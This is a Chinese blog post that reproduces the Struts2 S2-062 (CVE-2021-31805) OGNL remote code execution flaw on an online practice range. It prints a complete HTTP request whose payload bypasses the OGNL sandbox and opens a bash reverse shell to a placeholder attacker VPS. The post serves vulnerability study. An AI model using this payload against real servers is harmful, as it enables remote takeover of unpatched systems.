Struts2-062复现

kriesa

已于 2022-07-13 10:42:53 修改

阅读量265

点赞数

分类专栏：漏洞复现文章标签：安全网络安全 web安全

于 2022-07-13 10:27:59 首次发布

本文链接：https://blog.csdn.net/kriesa/article/details/125758571

版权

漏洞复现专栏收录该内容

6 篇文章 0 订阅

订阅专栏

该漏洞由于对CVE-2020-17530的修复不完整造成的，CVE-2020-17530漏洞是由于Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 %{x} 且其中x 的值用户可控时，用户再传入一个 %{payload} 即可造成OGNL表达式执行。在CVE-2021-31805漏洞中，仍然存在部分标签属性会造成攻击者恶意构造的OGNL表达式执行，导致远程代码执行。

影响版本

Struts 2.0.0 - Struts 2.5.29

复现环境：http://vulfocus.io/#/dashboard 在线靶场，里面有很多可供复现的漏洞环境

根据提示访问漏洞页面提交参数构造payload

burp抓包发送到Reeater get方法改为post方法

完整请求包

POST /s2_062/index.action HTTP/1.1

Host: 123.58.236.76:34432

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6

Cookie: JSESSIONID=2406B54DAAB4B4092E387D404AF3CAF3

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 1159



name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b

(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b

(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b

(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b

(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b

(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b

(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b

(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b

(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo, vps的ip地址base64编码然后在url编码}|{base64,-d}|{bash,-i}'}))

执行命令反弹shell，命令经过base64编码处理并且对其url编码或者直接Ctrl+U

数据包截图